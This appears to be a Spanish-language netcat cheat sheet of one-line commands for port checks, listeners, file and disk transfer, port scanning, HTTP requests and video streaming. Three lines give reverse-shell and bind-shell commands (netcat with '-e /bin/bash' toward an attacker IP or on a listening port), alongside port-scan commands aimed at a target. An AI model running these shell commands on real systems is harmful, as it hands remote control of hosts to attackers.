Netcat es una herramienta de red que permite a través de intérprete de comandos y con una sintaxis sencilla abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones UDP/TCP.



 nc 10.0.0.10 80 probar si el puerto TCP remoto está abierto (-u para UDP)

 nc -l 1234 configurar un servidor TCP escuchando en el puerto 1234 (-u para UDP)

 nc -k -l 1234 mantener el listener de netcat activo después de que muera la conexión actual

 nc 10.0.0.10 1234 < my.tgz transferir un archivo al endpoint remoto usando netcat

 cat my.tgz | nc 10.0.0.10 1234 transferir un archivo al endpoint remoto usando netcat

 nc -l 1234 > my.tgz recibir y guardar un archivo vía netcat

 tar -cf - . | nc -v 10.0.0.10 1234 crear un tarball y enviarlo a netcat

 nc -lv 1234 | tar -xvf - recibir un tarball y extraerlo en el directorio actual

 nc -z 10.0.0.10 1-1000 escanear un rango de puertos de un objetivo (ej. del 1 al 1000)

 nc -z 10.0.0.10 1-100 200-300 escanear múltiples rangos de puertos

 nc -vuz -w1 10.0.0.10 1-1000 escanear un rango de puertos UDP con un timeout de 1 segundo

 printf "GET / HTTP/1.0\r\n\r\n" | nc google.com 80 enviar una solicitud HTTP

 nc <ip-del-atacante> 4444 -e /bin/bash crear una shell inversa en el host objetivo

 nc -l 4444 -e /bin/bash crear una shell bind en el host objetivo

 nc -k -l 4444 -e /bin/bash crear un listener persistente de netcat para una shell bind

 nc -l 12345 -c 'uptime' ejecutar un comando y redirigir la salida al cliente

 dd if=/dev/sdb | gzip -c | nc 10.0.0.10 1234 transferir un disco duro comprimido

 nc -l 1234 | sudo dd of=/backup/sdb.img.gz guardar la imagen del disco duro transferido

 while true; do nc -l 8000 < test.html; done servir una página web estática

 mkdir /tmp/pipe; cat video.mp4 > /tmp/pipe & nc -ul 12345 < /tmp/pipe

 comenzar a transmitir el video cuando el cliente se conecte

 nc -u 10.0.0.10 12345 | mplayer - recibir y reproducir la transmisión de video con mplayer